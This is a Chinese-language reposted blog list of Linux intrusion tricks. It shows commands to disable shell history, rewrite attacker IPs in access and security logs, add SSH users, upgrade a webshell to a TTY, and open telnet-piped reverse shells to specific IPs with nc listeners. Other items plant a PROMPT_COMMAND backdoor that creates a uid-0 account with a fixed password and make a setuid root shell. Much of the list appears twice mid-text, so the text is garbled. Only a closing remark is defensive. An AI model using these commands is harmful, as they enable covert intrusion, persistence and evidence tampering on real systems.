1，登录ssh之后不记录history
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
2. sed的一些邪恶用法
邪恶的替换到登录的IP和日志里的访问IP
sed -s ’s/211.xxx.xxx.xxx/192.168.1.1/g’ access_log access.log security
邪恶的添加ssh限制登录的用户
sed -i ’s/AllowUsers fuck root oracle/AllowUsers fuck root oracle rqcuser/g’ sshd_config
不过这个添加之后要强制重启sshd服务才可以生效
lsof -i:22 查找sshd的进程ID
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
sshd 18662 root 11u IPv6 27925867 TCP *:ssh (LISTEN)
sshd 31793 sshd 12u IPv6 34742994 TCP 192.168.1.2:ssh->192.168.1.5:49080 (ESTABLISHED)
然后
kill -SIGHUP 18662
3.通过webshell反弹shell回来之后获取真正的ttyshell
python -c ‘import pty; pty.spawn(“/bin/sh”)’
另外一种获取ttyshell的方法
$ cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact
bash sh.exp
4.通过TELNET进行反向连接:
telnet [attacker_ipaddr] [port1] | /bin/bash | telnet [attacker_ipaddr] [port2]
telnet 210.51.173.41 8080 | /bin/bash | telnet 210.51.173.41 8081
/usr/bin/telnet 203.93.28.236 8000|/bin/bash|/usr/bin/telnet 203.93.28.236 8001
在203.93.28.236上面运行:
nc –l –p 8000
nc –l –p 8001
/usr/bin/telnet 192.168.1.100 8088|/bin/bash|/usr/bin/telnet 192.168.1.100 8089
5.curl download
The full command should look something like this:
curl -C – -O http://www.mirror.com/path/to/NeoOffice-Patch.dmg
6.Windows下面NC监听linux返回shell执行命令不能正确换行的解决办法
unalias ls
7.linux的BASH提权
export PROMPT_COMMAND=”/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND”
8.ssh tunnel
ssh -C -f -N -g -L listen_portST_HostST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_portST_HostST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host-f
9.本地rootshell
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
2. sed的一些邪恶用法
邪恶的替换到登录的IP和日志里的访问IP
sed -s ’s/211.xxx.xxx.xxx/192.168.1.1/g’ access_log access.log security
邪恶的添加ssh限制登录的用户
sed -i ’s/AllowUsers fuck root oracle/AllowUsers fuck root oracle rqcuser/g’ sshd_config
不过这个添加之后要强制重启sshd服务才可以生效
lsof -i:22 查找sshd的进程ID
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
sshd 18662 root 11u IPv6 27925867 TCP *:ssh (LISTEN)
sshd 31793 sshd 12u IPv6 34742994 TCP 192.168.1.2:ssh->192.168.1.5:49080 (ESTABLISHED)
然后
kill -SIGHUP 18662
3.通过webshell反弹shell回来之后获取真正的ttyshell
python -c ‘import pty; pty.spawn(“/bin/sh”)’
另外一种获取ttyshell的方法
$ cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact
bash sh.exp
4.通过TELNET进行反向连接:
telnet [attacker_ipaddr] [port1] | /bin/bash | telnet [attacker_ipaddr] [port2]
telnet 210.51.173.41 8080 | /bin/bash | telnet 210.51.173.41 8081
/usr/bin/telnet 203.93.28.236 8000|/bin/bash|/usr/bin/telnet 203.93.28.236 8001
在203.93.28.236上面运行:
nc –l –p 8000
nc –l –p 8001
/usr/bin/telnet 192.168.1.100 8088|/bin/bash|/usr/bin/telnet 192.168.1.100 8089
5.curl download
The full command should look something like this:
curl -C – -O http://www.mirror.com/path/to/NeoOffice-Patch.dmg
6.Windows下面NC监听linux返回shell执行命令不能正确换行的解决办法
unalias ls
7.linux的BASH提权
export PROMPT_COMMAND=”/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND”
8.ssh tunnel
ssh -C -f -N -g -L listen_portST_HostST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_portST_HostST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host-f
9.本地rootshell
bash和tcsh是行不通的，其他的ash bsh zsh ksh均可。具体操作比较简单，大概说一下cp /bin/ksh . ; chown root.root ksh; chmod 4755 ksh，然后执行ksh就可以获得root权限了；这一招虽然看似低俗，但某些时候还是很有用的。所以一般情况下把多余的shell删除可以在一定程度上增加黑客的入侵成本，没实施的同学可以考虑在标准化里面加入这个操作
本文转sinojelly51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/354564，如需转载请自行联系原作者
